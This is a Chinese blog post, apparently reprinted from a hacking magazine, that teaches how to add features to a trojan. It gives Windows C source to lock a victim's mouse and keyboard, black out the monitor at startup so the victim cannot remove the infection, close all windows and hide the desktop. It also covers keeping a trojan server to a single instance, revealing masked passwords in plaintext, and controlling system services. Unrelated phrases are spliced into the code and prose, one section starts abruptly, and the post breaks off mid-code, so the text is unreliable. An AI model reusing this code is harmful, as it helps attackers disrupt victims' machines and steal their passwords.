我的空间 主页|空间装扮博客|写新文章相册|上传照片好友|新朋友档案|留言板我的应用 投票狗狗更多应用我本无量  0 | 我的消息(2/3) | 我的空间  | 我的应用  | 百度空间 | 百度首页 | 退出  空间“游戏中心”上线啦!养宠物、种蔬果、当院长……
多款热门游戏,随你挑选.
文小婧
欢聚无限,欢乐无限! 我要去玩>>  §蜉游天地§寄身蜉蝣之于天地,藐视沧海之于一粟!<物能尽其用,人能尽其能,此乃万物生存之道也!> 主页博客相册|个人档案 |好友    查看文章     
Hacker DIY-1 2009-11-15 14:16 第1篇之功能实现
在木马中除了必需的,屏幕控制,文件管理,SHELL之外还有其它的控制方式,我们用短小精悍的程序来一一DIY一下。
1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");
RECT rect;
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//释放
return 0;
}
-
------------------------ 注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处------------------------------------------
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
#include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
WPARAM wParam,
LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}
main(int argc, char* argv[])
{
SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");
::Sleep(15000);
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL), GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没
有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR    lpCmdLine,
int    nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1)
;//打开
return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿
4.关闭所有窗口
原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR    lpCmdLine,
int    nCmdShow)
{
张妼晗EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵
5.锁定光驱
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR    lpCmdLine,
int    nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6.制造噪音
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
for(int i=1000;i<1110;i++)
{
Beep(i,30);
::Sleep(100);
}
}
}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隐藏任务栏
ShowWindow(disk,SW_HIDE);//隐藏桌面
printf("\n15妙后会自动出现桌面 请等待.....\n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//显示
ShowWindow(disk,SW_SHOW);//显示
return 0;
}
第2篇之单实例运行
在02-03年之间常玩木马的朋友可能还记得当时有款叫广外男生的木较流行.用过的朋友友可能也发现了
广外男生有个不大不小的BUG就是:如果服务端被运行多次的话,那么客户端就会有多个服务端上线,当然并不是
说肉鸡变多了,而是同一个服务端被多次加载......还有,我写了一个CMD窗口
的程序,如果运行一个是没问题的
但运行两个,嘿嘿那家伙可是相当壮观,两个程序像得了疯牛病一样疯狂输出垃圾数据,停都停不了
现在我们就来解决这个问题,如何让程序只能运行一个实例,这里跟据程序是否有窗口,来分别介绍
无窗口程序实现
实现思路
这类程序的典型代表就是木马的服务端了,我们想要达到目得,会有这样的想法:程序运行时先检查有没有另一
个实例在运行,没有的话就运行自己,有的话就退出自己.
编程实现
鲁迅珍惜时间的名言姜逸磊通常有两种方法可以实现我们分别来介绍
1.使用互斥对像
使用API函数CreateMutex来创建命名互斥对象来实现程序互斥是一个比较通用的方法,我们可以在主函数加入如下代码:
HANDLE hObject = CreateMutex(NULL,FALSE,"LengFeng");
if(GetLastError() == ERROR_ALREADY_EXISTS)//程序已经运行
{
CloseHandle(hObject);
ExitProcess(0);
}
以上的CreateMutext函数创建一个称为"LengFeng"的命名的互斥对象,当程序的第二个实例运例时
调用CreateMutex 返回ERROR_ALREADY_EXISTS,表示名为"LengFeng"的互斥对像以存在,也就是说明程序以运行
其完整代码如下:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR    lpCmdLine,
int    nCmdShow)
{
HANDLE hObject = CreateMutex(NULL,FALSE,"LengFeng");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
MessageBox(NULL,"程序已经运行!",NULL,NULL);
ExitProcess(0);
}
while(1)
{}
return 0;
}
使用一个循环是禁止程序退出,以便更好的观察效果^_^
2.用编译器创建新节
能不能为程序中加入一个全局变量?让这个全局变量可被程序的多个实例所共享,每当程序实例运行时就对该
全局变量进行修改,通过对该全局变量的访问,就可以知道有多少个实例在运行了.
当然为了系统的安全和稳定性,默认情况下是不允许这样做的,为了阻止这种事情的发生系统使用copy-on-write(写入时拷贝)机制
不过我们就使用创建新节的方法来绕过系统的copy-on-write机制其方法如下
#pragma data_seg("Shared")   
int volatile g_lAppInstance =0;
#pragma data_seg()
我们来看一下上面的内容:
第一句 #pragma data_seg("Shared") 创建一个称为Shared 的新节。
第二句 int volatile g_lAppInstance =0 将 g_lAppInstance 放入Shared节中。注意此时只有将g_lAppInstance初始化,编译器才会将其放入Shared节中,否则,将放入Shared以外的节
第三句指示编译器Shared 节结束。
仅仅告诉编译器将某些变量放入它们自己的节中,是不足以实现对这些变量的共享的。还必须告诉链接程序
某个节中的变量是需要加以共享的。若要进行这项操作,可以使用链接程序的命令行上的/
SECTION开关:
在冒号的后面,是想要改变其属性的节的名字。在我们的例子中,想要改变Shared节的属性因此应该创建下面的链接程序开关:
#pragma comment(linker,"/section:Shared,RWS")
这一句,我们使编译链接器知道我们的Shared节具有读,写,共享的属性。这是我们实现互斥运行的关键
这样我们就可以在应用程序之间的多个实例之间共享g_lAppInstance 变量了。
下面我们看一下在SDK程序中它的完整实现代码如下:
#include <windows.h>
#pragma  data_seg("Shared") //创建新节
int volatile g_lAppInstance =0; //必须有初示化
#pragma  data_seg() //结束
#pragma comment(linker,"/section:Shared,RWS")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR    lpCmdLine,
int    nCmdShow)
{
if(++g_lAppInstance>1)
{
MessageBox(NULL,"程序已经运行!",NULL,NULL);
ExitProcess(0);
}
while(1)
{
}
}
回头再看这两种方法,在实现上使用互斥对像比较简单,但功能却不如创建新节的方法强大,不过在无窗口程序中
使用互斥对像还是比较实用的.
基于窗口程序的实现
在有些地方是用EnumWindows来枚举窗口并结合FindWindow来查窗口,然后发送WM_CLOSE消息,虽然这种方法也可以实现
但实现效果不是太好....而使用上面介绍的互斥对像也是可以的,但它的不足之处是不能将已经启动的实例激活。
这里我们仍然用“创建新节”方法来实现一下
目标是一个基于对话框的程序,其效果如图所示
其实现代码如下
#pragma data_seg("Shared")   
HWND hwnd=NULL;
#pragma data_seg()
#pragma comment(linker,"/section:Shared,RWS")
在对话框OnInitDialog()中加入以下代码:
if(hwnd==NULL)
{
hwnd=m_hWnd;//没有其它实例则保存实例句柄
}else
{
::SetForegroundWindow(hwnd);//若有其它实例则激活
ExitProcess(0);//退出本身
}
当然上面的这些代码完全可以无需修改的加入到自己的程序中,用这种方法实现在感觉上是不是比PostMessage(hwnd,WM_CLOSE,0,0)要文明多了?
消退出”按钮及响应函数OnExit() 在函数中卸载钩子
void CPassDlg::OnExit()
{
if(g_hHook)
UnhookWindowsHookEx(g_hHook);//卸载钩子
exit(0);
}
现在就完工了,打开我们的程序,按下“开始探测”再打开需要输入密码的程序试试,是不是以明文显示了?用这个小程序可以搞定系统的密码设置,outlook或防范不严的程序密码,但对有专门防范的程序就不行了比如新版QQ。
对系统服务的管理几乎是木马必不可少的功能了,比如神气儿,上兴远程控制等要是能我们给自己的木马加上这个功能,看着也不赖
取得配置权限
在对服务进行管理设置前,需要以相应的权限打开服务,
可通过下面两个API实现
代码:
SC_HANDLE OpenSCManager(
LPCTSTR lpMachineName, // pointer to machine name string
LPCTSTR lpDatabaseName, // pointer to database name string
DWORD dwDesiredAccess  // type of access
);
SC_HANDLE OpenService(
SC_HANDLE hSCManager, // handle to service control manager
// database
LPCTSTR lpServiceName, // pointer to name of service to start
DWORD dwDesiredAccess // type of access to service
);
通常我们以完全权限打开,示例代码如下:
代码:
SC_HANDLE scm;
SC_HANDLE service;
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
Printf("OpenSCManager Error\n");
}
service=OpenService(scm,ServerName,SERVICE_ALL_ACCESS);
if(!service)
{
Printf("OpenService error!\n");
}
自然数指的是什么
这样就可以通过service句柄对服务进行各种操作了
枚举基本服务信息
想要对服务进行设置就需要知道服务的当前信息,对我们有用的通常是以下几项
服务名称,显示名称,启动状态,启动方式,程序路径等。
这些信息我们可以通过API函数EnumServicesStatus来实现,它的原形如下:
代码:
BOOL EnumServicesStatus(
SC_HANDLE hSCManager, // handle to service control manager database
DWORD dwServiceType,    // type of services to enumerate
DWORD dwServiceState,    // state of services to enumerate
LPENUM_SERVICE_STATUS lpServices,
// pointer to service status buffer
DWORD cbBufSize,        // size of service status buffer
LPDWORD pcbBytesNeeded, // pointer to variable for bytes needed
LPDWORD lpServicesReturned,
// pointer to variable for number returned
LPDWORD lpResumeHandle  // pointer to variable for next entry
);
其中 LPENUM_SERVICE_STATUS lpServices是一个结构,它的原形如下:
代码:
typedef struct _ENUM_SERVICE_STATUS { // ess
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
吴昊宸个人资料
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
结构中包含服务名称,显示名称,启动状态。虽然它所返回的信息是及为有限的,但它是一次枚举所有服务信息
在要求不高的情况下,用它还是相当方便的,下面的示例代码可以枚举系统中所有服务的基本信息,代码如下:
代码:
LPENUM_SERVICE_STATUS lpServices    = NULL;
DWORD    nSize = 0;
DWORD    n;
DWORD    nResumeHandle = 0;
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64 * 1024);      //注意分配足够的空间
EnumServicesStatus(scm,SERVICE_WIN32,
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)lpServices,
64 * 1024,
&nSize,
&n,
&nResumeHandle);
for ( i = 0; i < n; i++)
{
Printf("服务名称: %